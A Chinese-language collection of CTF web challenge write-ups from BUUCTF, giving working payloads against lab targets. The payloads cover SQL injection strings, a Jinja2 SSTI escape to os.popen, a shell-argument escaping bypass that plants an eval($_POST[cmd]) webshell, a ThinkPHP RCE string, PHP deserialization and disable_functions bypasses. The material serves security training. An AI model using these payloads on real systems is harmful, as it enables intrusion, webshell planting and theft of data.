[网鼎杯 2018]Fakebook
解题方法
上传图片马,修改后缀为phtml
之后连接蚁剑
[强网杯 2019]高明的黑客
审计代码
拷贝下源码后发现有3000份文件,审计文件代码发现代码非常混乱
仔细观察可以看到代码中存在非常多的$_GET
以及$_POST
,以及命令执行函数
$_GET['xd0UXc39w'] = ' ';
assert($_GET['xd0UXc39w'] ?? ' ');
但基本都如上段代码一样无法利用
解题思路
0x00 先测试源码包中是否存在可以执行命令的点
0x01 代码量过大,脚本执行时间可能会过长,开启多线程
解题方法
# encoding: utf-8
import os
import requests
from concurrent.futures.thread import ThreadPoolExecutor
url = "http://localhost/CTF/BUUCTF/SmartHacker/src/"
path = "/Applications/XAMPP/xamppfiles/htdocs/CTF/BUUCTF/SmartHacker/src/"
files = os.listdir(path)
pool = ThreadPoolExecutor(max_workers=5)
def read_file(file):
str = open(path + "/" + file, 'r').read()
# catch GET
start = 0
params = {}
while str.find("$_GET['", start) != -1:
pos2 = str.find("']", str.find("$_GET['", start) + 1)
var = str[str.find("$_GET['", start) + 7: pos2]
start = pos2 + 1
params[var] = 'print "get---";'
# catch POST
start = 0
data = {}
while str.find("$_POST['", start) != -1:
pos2 = str.find("']", str.find("$_POST['", start) + 1)
var = str[str.find("$_POST['", start) + 8: pos2]
start = pos2 + 1
data[var] = 'print post---;'
# eval assert
r = requests.post(url + file, data=data, params=params)
if 'get---' in r.text:
print(file, "found!A!get method")
elif 'post---' in r.text:
print(file, "found!A!post method")
# system
for i in params:
params[i] = 'echo get---;'
for i in data:
data[i] = 'echo post---;'
r = requests.post(url + file, data=data, params=params)
if 'get---' in r.text:
print(file, "found!B!get method")
elif 'post---' in r.text:
print(file, "found!B!post method")
if __name__ == '__main__':
for file in files:
if not os.path.isdir(file):
pool.submit(read_file, file)
脚本结果
xk0SzyKwfzw.php found!B!get method
xk0SzyKwfzw.php
中$_GET
和system()
结合的命令执行漏洞
审计代码
搜索xk0SzyKwfzw.php
中的$_GET
全局变量,在line 300发此现漏洞
$XnEGfa = $_GET['Efa5BVG'] ?? ' ';
$aYunX = "sY";
$aYunX .= "stEmXnsTcx";
$aYunX = explode('Xn', $aYunX);
$kDxfM = new stdClass();
$kDxfM->gHht = $aYunX[0];
($kDxfM->gHht)($XnEGfa);
payload: /xk0SzyKwfzw.php?Efa5BVG=cat%20/flag
[极客大挑战 2019]BuyFlag
[ACTF2020 新生赛]BackupFile
解题方法
文件扫描
python3 dirsearch.py -u http://f1658aa4-f3d6-4a32-8f19-7364b8a64e13.node3.buuoj.cn/ -e php
代码审计
<?php
include "flag.php";
if(isset($_GET['key'])) {
$key = $_GET['key'];
if(!is_numeric($key)) {
exit("Just num!");
}
$key = intval($key);
$str = "123ffwsfwefwf24r2f32ir23jrw923rskfjwtsw54w3";
if($key == $str) {
echo $flag;
}
}
else {
echo "Try to find out source file!";
}
解题思路
0x00 is_numeric() -> key为纯数字字符串
0x01 intval($key) == $str -> 数字key与str弱相等
解题方法
/?key=123
0x01 php数字和字符串弱比较
字符串和数字进行比较时,若字符串头部为数字,则转换为相应数字;若无,则为0
<?php
$str1 = "abc";
$str2 = "4bc";
if ($str1 == 0)
echo "str1 = 0";
if ($str2 == 4)
echo "str2 = 4";
[ACTF2020 新生赛]Upload
解题方法
上传图片马之后修改图片后缀为html
,蚁剑连接
[ZJCTF 2019]NiZhuanSiWei
[BJDCTF2020]Easy MD5
题目提示
F12
查看响应头
Hint: select * from 'admin' where password=md5($pass,true)
解题方法
实验吧原题,令$pass = ffifdyop
其原始二进制为'or'6\xc9]\x99\xe9!r,\xf9\xedb\x1c
此时sql语句如下
$sql = "SELECT * FROM admin WHERE password = ''or'6�]��!r,��b'";
在mysql中两个字符串参与布尔判断时若字符串为’[int]XXXX’ 且 [int]>0 则为true,若为’XXXX’ 或 [int]==0 则为false
跳转到/levels91.php
代码审计
<!--
$a = $GET['a'];
$b = $_GET['b'];
if($a != $b && md5($a) == md5($b)){
// wow, glzjin wants a girl friend.
-->
构造/levels91.php?a[]=1&b[]=2
即可,不详述
代码审计
<?php
error_reporting(0);
include "flag.php";
highlight_file(__FILE__);
if($_POST['param1']!==$_POST['param2']&&md5($_POST['param1'])===md5($_POST['param2'])){
echo $flag;
}
param1[]=1¶m2[]=2
不详述
[BJDCTF 2nd]fake google
题目提示
访问/qaq?name=
查看源码后得知输入点存在ssti模板注入
<!--ssssssti & a little trick -->
解题思路
0x00 利用变量包裹标识符{{}}
进行ssti
0x01 沙箱逃逸 & rce
解题方法
/qaq?name={{().__class__.__bases__[0].__subclasses__()[169].__init__.__globals__.__builtins__['eval']("__import__('os').popen('cat ../flag').read()")}}
另类解题方法
> python tplmap.py -u 'http://url/qaq?name=' --os-shell
...
GET parameter: name
Engine: Jinja2
Injection: {{*}}
Context: text
OS: posix-linux
Technique: render
Capabilities:
Shell command execution: ok
Bind and reverse shell: ok
File write: ok
File read: ok
Code evaluation: ok, python code
[+] Run commands on the operating system.
posix-linux $ cat /flag
0x01 SSTI
模板注入与我们熟知的SQL注入、命令注入等原理大同小异。{{}}
在作为变量包裹标识符,在渲染的时候会把{{}}
包裹的内容当做变量解析替换。比如{{1+1}}
会被解析成2;黑客利用这点输入恶意数据,程序没有对其进行合理处理,而是直接拼接为程序的一部分,最终导致程序执行非预期行为
0x02 沙箱逃逸
内建函数
当启动一个python解释器时,即使没有创建任何变量或函数,还是会有很多函数可以使用,这就是内建函数
内建函数在启动python解释器时,就已导入到内存中,想要了解这里的工作原理,要从名称空间开始
名称空间在python是个非常重要的概念,它是从名称到对象的映射,而在python程序的执行过程中,至少会存在两个名称空间
内建名称空间:python自带的名字,在python解释器启动时产生,存放一些python内置的名字
全局名称空间:在执行文件时,存放文件级别定义的名字
局部名称空间(可能不存在):在执行文件的过程中,如果调用了函数,则会产生该函数的名称空间,用来存放该函数内定义的名字,该名字在函数调用时生效,调用结束后失效
内建名称空间是名字到内建对象的映射,在python中,初始的builtins模块提供内建名称空间到内建对象的映射,在某些特定类的内建函数列表中存在诸如eval
之类的命令执行函数,为逃逸提供条件
查看初始模块,发现__builtins__
是做为默认初始模块出现
>>> dir()
['__builtins__', '__doc__', '__name__', '__package__']
查看builtins模块下的内建名称
>>> dir(__builtins__)
['ArithmeticError', 'AssertionError', 'AttributeError', 'BaseException', 'BufferError', 'BytesWarning', 'DeprecationWarning', 'EOFError', 'Ellipsis', 'EnvironmentError', 'Exception', 'False', 'FloatingPointError', 'FutureWarning', 'GeneratorExit', 'IOError', 'ImportError', 'ImportWarning', 'IndentationError', 'IndexError', 'KeyError', 'KeyboardInterrupt', 'LookupError', 'MemoryError', 'NameError', 'None', 'NotImplemented', 'NotImplementedError', 'OSError', 'OverflowError', 'PendingDeprecationWarning', 'ReferenceError', 'RuntimeError', 'RuntimeWarning', 'StandardError', 'StopIteration', 'SyntaxError', 'SyntaxWarning', 'SystemError', 'SystemExit', 'TabError', 'True', 'TypeError', 'UnboundLocalError', 'UnicodeDecodeError', 'UnicodeEncodeError', 'UnicodeError', 'UnicodeTranslateError', 'UnicodeWarning', 'UserWarning', 'ValueError', 'Warning', 'ZeroDivisionError', '_', '__debug__', '__doc__', '__import__', '__name__', '__package__', 'abs', 'all', 'any', 'apply', 'basestring', 'bin', 'bool', 'buffer', 'bytearray', 'bytes', 'callable', 'chr', 'classmethod', 'cmp', 'coerce', 'compile', 'complex', 'copyright', 'credits', 'delattr', 'dict', 'dir', 'divmod', 'enumerate', 'eval', 'execfile', 'exit', 'file', 'filter', 'float', 'format', 'frozenset', 'getattr', 'globals', 'hasattr', 'hash', 'help', 'hex', 'id', 'input', 'int', 'intern', 'isinstance', 'issubclass', 'iter', 'len', 'license', 'list', 'locals', 'long', 'map', 'max', 'memoryview', 'min', 'next', 'object', 'oct', 'open', 'ord', 'pow', 'print', 'property', 'quit', 'range', 'raw_input', 'reduce', 'reload', 'repr', 'reversed', 'round', 'set', 'setattr', 'slice', 'sorted', 'staticmethod', 'str', 'sum', 'super', 'tuple', 'type', 'unichr', 'unicode', 'vars', 'xrange', 'zip']
类继承
python中变量应用class方法可以从变量实例转换到对应的对象类型,类有以下三种关于继承关系的方法
__base__ //对象的一个基类,一般情况下是object,有时不是,这时需要使用下一个方法
__mro__ //同样可以获取对象的基类,只是这时会显示出整个继承链的关系,是一个列表,object在最底层故在列表中的最后,通过__mro__[-1]可以获取到
__subclasses__() //继承此对象的子类,返回一个列表
有这些类继承的方法,就可以实现从任何一个变量,回溯到基类后,再获得到此基类所有实现的类
__globals__ & __init__
- __globals__ 该属性是函数特有的属性,用于记录当前文件全局变量的值
- __init__方法用于将对象实例化,在这个函数下可以通过__globals__查看全局变量
逃逸链
变量 -> 对象 -> 基类 -> 子类遍历 -> 全局变量 -> 命令执行
()(变量).__class__(对象).__bases__[0](基类).__subclasses__()[169](warnings.catch_warnings子类含有eval).__init__(初始化).__globals__(遍历全局变量).__builtins__['eval'](eval内置命令执行函数)("__import__('os').popen('cat ../flag').read()")(os.popen().read()打开文件并回显内容)
[RoarCTF 2019]Easy Java
点击 help,跳转到/Download?filename=help.docx
,存在任意文件读取漏洞
java.io.FileNotFoundException:{help.docx} // 界面回显
此时读取文件失败,修改请求方法为 post
filename=/WEB-INF/web.xml
...
// 敏感信息
<servlet>
<servlet-name>FlagController</servlet-name>
<servlet-class>com.wm.ctf.FlagController</servlet-class>
</servlet>
<servlet-mapping>
<servlet-name>FlagController</servlet-name>
<url-pattern>/Flag</url-pattern>
</servlet-mapping>
...
简述 servlet 的 url-pattern 匹配
上述信息中<servlet>
首先配置声明一个 servlet,其中包括 servlet 名字以及其对应类名
<servlet-mapping>
声明与该 servlet 相应的匹配规则,每个<url-pattern>
代表一个匹配规则
当浏览器发起一个url请求后,该请求发送到servlet容器的时候,容器先会将请求的url减去当前应用上下文的路径作为 servlet 的映射 url,剩下的部分拿来做servlet的映射匹配
filename=/WEB-INF/classes/com/wm/ctf/FlagController.class
下载文件进行反汇编
import java.io.IOException;
import java.io.PrintWriter;
import javax.servlet.ServletException;
import javax.servlet.annotation.WebServlet;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
@WebServlet(name = "FlagController")
public class FlagController extends HttpServlet {
String flag = "ZmxhZ3s1ZTNhNzBjMS0xNzk2LTRmNmQtODUyOC05ZmE1MzYzOGNhZTV9Cg==";
protected void doGet(HttpServletRequest paramHttpServletRequest, HttpServletResponse paramHttpServletResponse) throws ServletException, IOException {
PrintWriter printWriter = paramHttpServletResponse.getWriter();
printWriter.print("<h1>Flag is nearby ~ Come on! ! !</h1>");
}
}
什么是WEB-INF & WEB-INF重要目录和文件
WEB-INF 是 JavaWeb 的安全目录,所谓安全就是客户端无法访问,只有服务端可以访问的目录
-
/WEB-INF/web.xml
Web应用程序配置文件,描述了 servlet 和其他的应用组件配置及命名规则
-
/WEB-INF/classes/
包含站点所有用的 class 文件,包括 servlet class 和非servlet class,他们不能包含在 .jar文件中
-
/WEB-INF/lib/
存放 web 应用需要的各种 JAR 文件
-
/WEB-INF/src/
源码目录,按照包名结构放置各个java文件
-
/WEB-INF/database.properties
数据库配置文件
[极客大挑战 2019]HardSQL
解题方法
简单测试后可以判断存在过滤,fuzz后决定采用updatexml报错注入
查看数据表名
/check.php?username=admin'or(updatexml(1,concat(0x7e,(select(group_concat(table_name))from(information_schema.tables)where(table_schema)like(database())),0x7e),1))%23&password=1
查看密码,发现flag不全
/check.php?username=admin'or(updatexml(1,concat(0x7e,(select(group_concat(password))from(H4rDsq1)),0x7e),1))%23&password=1
使用right(str, length)
查看右半部分
/check.php?username=admin'or(updatexml(1,concat(0x7e,(select(group_concat(right(password,30)))from(H4rDsq1)),0x7e),1))%23&password=1
[BUUCTF 2018]Online Tool
代码审计
<?php
--- a
if (isset($_SERVER['HTTP_X_FORWARDED_FOR'])) {
$_SERVER['REMOTE_ADDR'] = $_SERVER['HTTP_X_FORWARDED_FOR'];
}
if(!isset($_GET['host'])) {
highlight_file(__FILE__);
} else {
--- b
$host = $_GET['host'];
$host = escapeshellarg($host);
$host = escapeshellcmd($host);
--- c
$sandbox = md5("glzjin". $_SERVER['REMOTE_ADDR']);
echo 'you are in sandbox '.$sandbox;
@mkdir($sandbox);
chdir($sandbox);
--- d
echo system("nmap -T5 -sT -Pn --host-timeout 2 -F ".$host);
}
--- e
解题思路
0x00 a-b & c-d
区域代码意义不大,仅仅是为用户建立一个专属文件夹
0x01 b-c
区域中escapeshellarg
先与escapeshellcmd
使用会产生参数绕过
0x02 绕过 b-c
区域的恶意代码在d-e
区域进行拼接从而实现rce
解题方法
构造一句话并写入文件,nmap-oN
参数将查询结果写入文件
' <?php eval($_POST[cmd]);?> -oN shell.php '
经过escapeshellarg()
后payload变换,考虑读者方便理解,用tab进行分割
'' \' ' <?php eval($_POST[cmd]);?> -oN shell.php ' \' ''
经过escapeshellcmd()
后payload再次变换
'' \\ '' \<\?php eval\($_POST\[cmd\]\)\;\?\> -oN shell.php ' \\ ' ' '
对以上payload进行简化便于阅读(单个非转义反斜杠可以忽略,稍后解释)
<?php eval($_POST[cmd]);?> -oN shell.php
因此最终payload为?host=' <?php eval($_POST[cmd]);?> -oN shell.php '
,稍等数秒后回显sandbox位置为4cf0a91xxx
蚁剑连接http://url/4cf0a91xxx/shell.php
文件即可
套路模板
只需在原有payload的基础上用单引号包裹即可绕过b-c
区域代码
escapeshellarg() & escapeshellcmd()
-
escapeshellarg()
给字符串增加一对单引号并且转义已经存在单引号,以确保能够直接将字符串传入shell函数,shell函数包含 exec(), system() ,反引号
# 为了结果直观,结果用\t分割了每个区间 echo escapeshellarg("i'm a hacker"); 'i' \' 'm a hacker' echo escapeshellarg("i am a hacker"); 'i am a hacker' echo escapeshellarg("i''m a hacker"); 'i' \' '' \' 'm a hacker' echo escapeshellarg("'i am a hacker'"); '' \' 'i am a hacker' \' ''
-
escapeshellcmd()
对字符串中可能会欺骗shell命令执行任意命令的字符进行转义。 此函数保证输入的数据在传送到exec()或 system()函数,或者执行操作符之前进行转义。反斜线会在以下字符之前插入: &#;`|*?~<>^()[]{}$, \x0A和 \xFF。 ' 和 " 仅在不配对儿的时候被转义。在 Windows 平台上,所有这些字符以及 % 和 ! 字符都会被空格代替
# 为了结果直观,结果用\t分割了每个区间 echo escapeshellcmd("<?php echo 'hacker';?>"); < \? php echo 'hacker' \; \? \> echo escapeshellcmd("i'm a hacker"); i \' m a hacker
Linux 反斜杠续行符
Linux中单个反斜杠可以表示续行之意,不影响命令执行
> p\
> i\
> n\
> g\
> \
> 127.0.0.1
PING 127.0.0.1 (127.0.0.1): 56 data bytes
机器执行命令时遇到\
会继续执行,所以先前escapeshellcmd中的反斜杠可以无视
p\in\g 127.\0\.\0.1
PING 127.0.0.1 (127.0.0.1): 56 data bytes
巧用反斜杠续行符还可以出其不意的绕过一些waf
[GXYCTF2019]BabySQli
解题方法
开启burp抓包并输入name=admin&pw=1
简单测试,回显如下
<!--MMZFM422K5HDASKDN5TVU3SKOZRFGQRRMMZFM6KJJBSG6WSYJJWESSCWPJNFQSTVLFLTC3CJIQYGOSTZKJ2VSVZRNRFHOPJ5-->
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<title>Do you know who am I?</title>
wrong pass!
证明存在admin用户
MMZFM422K5HDASKDN5TVU3SKOZRFGQRRMMZFM6KJJBSG6WSYJJWESSCWPJNFQSTVLFLTC3CJIQYGOSTZKJ2VSVZRNRFHOPJ5
仅有大写字母和数字,进行base32
解密得到c2VsZWN0ICogZnJvbSB1c2VyIHdoZXJlIHVzZXJuYW1lID0gJyRuYW1lJw==
在进行base64
解密得到
select * from user where username = '$name'
简单猜测后台逻辑
$result = select * from user where username = '$name';
if ($result[1] === 'admin') {
if ($result[2] === md5($pw))
yes
else
wrong pass
} else {
wrong user
}
利用union select
特性
# 临时建立测试表
mysql> select * from user where username = 'admin' union select 1,2,3;
+----+----------+--------+
| id | username | passwd |
+----+----------+--------+
| 1 | admin | 4dmin |
| 1 | 2 | 3 |
+----+----------+--------+
2 rows in set (0.00 sec)
mysql> select * from user where username = '' union select 1,'admin',3;
+----+----------+--------+
| id | username | passwd |
+----+----------+--------+
| 1 | admin | 3 |
+----+----------+--------+
1 row in set (0.00 sec)
构造最终payloadname=' union select 1,'admin','eccbc87e4b5ce2fe28308fd9f2a7baf3'#&pw=3
(未完成)[De1CTF 2019]SSRF Me
[网鼎杯 2020 青龙组]AreUSerialz
代码审计
<?php
include("flag.php");
highlight_file(__FILE__);
class FileHandler {
protected $op;
protected $filename;
protected $content;
function __construct() {
$op = "1";
$filename = "/tmp/tmpfile";
$content = "Hello World!";
$this->process();
}
public function process() {
if($this->op == "1") {
$this->write();
} else if($this->op == "2") {
$res = $this->read();
$this->output($res);
} else {
$this->output("Bad Hacker!");
}
}
private function write() {
if(isset($this->filename) && isset($this->content)) {
if(strlen((string)$this->content) > 100) {
$this->output("Too long!");
die();
}
$res = file_put_contents($this->filename, $this->content);
if($res) $this->output("Successful!");
else $this->output("Failed!");
} else {
$this->output("Failed!");
}
}
private function read() {
$res = "";
if(isset($this->filename)) {
$res = file_get_contents($this->filename);
}
return $res;
}
private function output($s) {
echo "[Result]: <br>";
echo $s;
}
function __destruct() {
if($this->op === "2")
$this->op = "1";
$this->content = "";
$this->process();
}
}
function is_valid($s) {
for($i = 0; $i < strlen($s); $i++)
if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125))
return false;
return true;
}
if(isset($_GET{'str'})) {
$str = (string)$_GET['str'];
if(is_valid($str)) {
$obj = unserialize($str);
}
}
0x00 先找反序列化输入点,发现存在is_valid
校验
0x01 is_valid
限制输入必须为可见字符,但protect类型存在\00
空字符;利用PHP7.1以上版本对属性类型不敏感特性使用public
绕过
0x02 反序列过程中一开始进入__destruct
,如果op
值与"2"
强相等就会改成"1"
从而执行写方法,用整型2
绕过
0x03 读操作是filename
设置为flag.php
0x04 __construct
中变量为局部变量,不会影响属性值
解题方法
<?php
class FileHandler {
public $op = 2;
public $filename = "flag.php";
}
echo serialize(new FileHandler());
?>
O:11:"FileHandler":2:{s:2:"op";i:2;s:8:"filename";s:8:"flag.php";}
构造payload?str=O:11:"FileHandler":2:{s:2:"op";i:2;s:8:"filename";s:8:"flag.php";}
php序列化 & 反序列化时代码走向
一个普通的实例会从__construct
开始,最后到__destruct
销毁;查阅php manual可以了解到: 不论何时,只要有实例需要被serialize
序列化,将不会调用 __destruct()
或有其他影响,除非程序化地调用此方法;当数据被unserialize
反序列化时,类将被感知并且调用合适的方法而不是调用__construct
,本题中反序列化后调用的函数为__destruct
反序列化中的protect,private以及public三种属性
<?php
class FileHandler {
private $op = 2;
protected $filename = "flag.php";
public $content = "abc";
}
echo serialize(new FileHandler());
?>
O:11:"FileHandler":3:{s:15:"\00FileHandler\00op";i:2;s:11:"\00*\00filename";s:8:"flag.php";s:7:"content";s:3:"abc";}
private
变量会在变量名前加\00类名\00
protect
变量会在变量名前加\00*\00
public
变量不加前缀
php反序列化数据完整性所触发的bug
这题在本地测试时发现一个好玩的地方,输入?str=O:11:"FileHandler":2:{s:2:"op";i:2;s:8:"filename";s:8:"flag.php";}
并不会回显flag
但删除部分payload后回显flag
原因是因为正确的和存在错误的反序列化数据会导致读文件的时候工作目录不一样,此处错误数据读的是相对路径,完整数据读绝对路径
修改filename
为绝对路径,之后构造payload进行测试
public $filename = "/Library/WebServer/Documents/BuuCTF/AreUSerialz/flag.php";
[BJDCTF 2nd]old-hack
题目提示
Powered By THINKPHP5
解题方法
访问s=1
,根据报错查看ThinkPHP版本号(不清楚此题原理)
THINK_VERSION 5.0.23
查询此版本RCE漏洞,根据PoC构造payload_method=__construct&filter[]=system&method=get&get[]=cat /flag
[GYCTF2020]Blacklist
解题方法
题目与[强网杯 2019]随便注非常相似,且同样可以进行堆叠注入,直接进行相同操作
在输入?inject=' union select 1,2%23
后回显与之前有所不同
return preg_match("/set|prepare|alter|rename|select|update|delete|drop|insert|where|\./i",$inject);
之前的解题方法一个是使用rename
进行更名操作,另一个是使用set
和prepare
进行预处理;很显然此时都以及被过滤
handler
命令并没有被过滤,可以使用它来进行数据查询
?inject='; handler FlagHere open; handler FlagHere read first; handler FlagHere close;%23
HANDLER statement
HANDLER tbl_name OPEN [ [AS] alias]
HANDLER tbl_name READ index_name { = | <= | >= | < | > } (value1,value2,...)
[ WHERE where_condition ] [LIMIT ... ]
HANDLER tbl_name READ index_name { FIRST | NEXT | PREV | LAST }
[ WHERE where_condition ] [LIMIT ... ]
HANDLER tbl_name READ { FIRST | NEXT }
[ WHERE where_condition ] [LIMIT ... ]
HANDLER tbl_name CLOSE
HANDLER
语句提供对表存储引擎接口的直接访问
HANDLER ... OPEN
语句将打开一个表,使其可以使用后续HANDLER ... READ
语句进行访问。在会话调用HANDLER ... CLOSE
或会话终止之前不会关闭;它具有与SELECT
语句相同的语法
(未完成)[0CTF 2016]piapiapia
(未完成)[GXYCTF2019]禁止套娃
解题方法
dirsearch扫描目录,证明存在.git泄露,使用Githack
还原源码
cat 20-07-31_17-17-24 | grep -w "200"
200 240B http://a45ced04-e5ff-468c-abad-a25f273a2997.node3.buuoj.cn:80/.git/info/exclude
200 92B http://a45ced04-e5ff-468c-abad-a25f273a2997.node3.buuoj.cn:80/.git/config
200 150B http://a45ced04-e5ff-468c-abad-a25f273a2997.node3.buuoj.cn:80/.git/logs/refs/heads/master
200 137B http://a45ced04-e5ff-468c-abad-a25f273a2997.node3.buuoj.cn:80/.git/index
200 23B http://a45ced04-e5ff-468c-abad-a25f273a2997.node3.buuoj.cn:80/index.php
[GKCTF2020]CheckIN
代码审计
<title>Check_In</title>
<?php
highlight_file(__FILE__);
class ClassName
{
public $code = null;
public $decode = null;
function __construct()
{
$this->code = @$this->x()['Ginkgo'];
$this->decode = @base64_decode( $this->code );
@Eval($this->decode);
}
public function x()
{
return $_REQUEST;
}
}
new ClassName();
0x00 获取参数Ginkgo
0x01 base64_decode
解码Ginkgo
0x02 命令执行
解题方法
?Ginkgo=cGhwaW5mbygpOw==
(此处利用hackbar进行base64加密很方便)查看phpinfo,版本是php 7.3
查看FLAG
环境变量,并不存在值
FLAG flag_not_here
查看disable_functions
,禁止了很多命令执行函数,可以利用LD_PRELOAD
进行bypass
?Ginkgo=ZXZhbCgkX1BPU1RbY21kXSk7
设置后门之后蚁剑连接,在根目录下发现flag
以及readflag
,flag
无法直接读取,要通过执行readflag
解题思路
利用LD_PRELOAD
进行bypass之后使用命令执行函数执行readflag
读取flag
文件
php 7.0 - 7.3有特定版本的bypass PoC[PHP 7.0-7.3 disable_functions bypass PoC (*nix only)],修改文件中pwn()
pwn("/readflag");
将php7-gc-bypass.php
上传至/tmp
,因为/tmp
一般都是上传文件的突破口
index.php
利用include()
包含bypass文件?Ginkgo=aW5jbHVkZSgnL3RtcC9waHA3LWdjLWJ5cGFzcy5waHAnKTs=
操作细节
eval()
中的代码一定要有;
结尾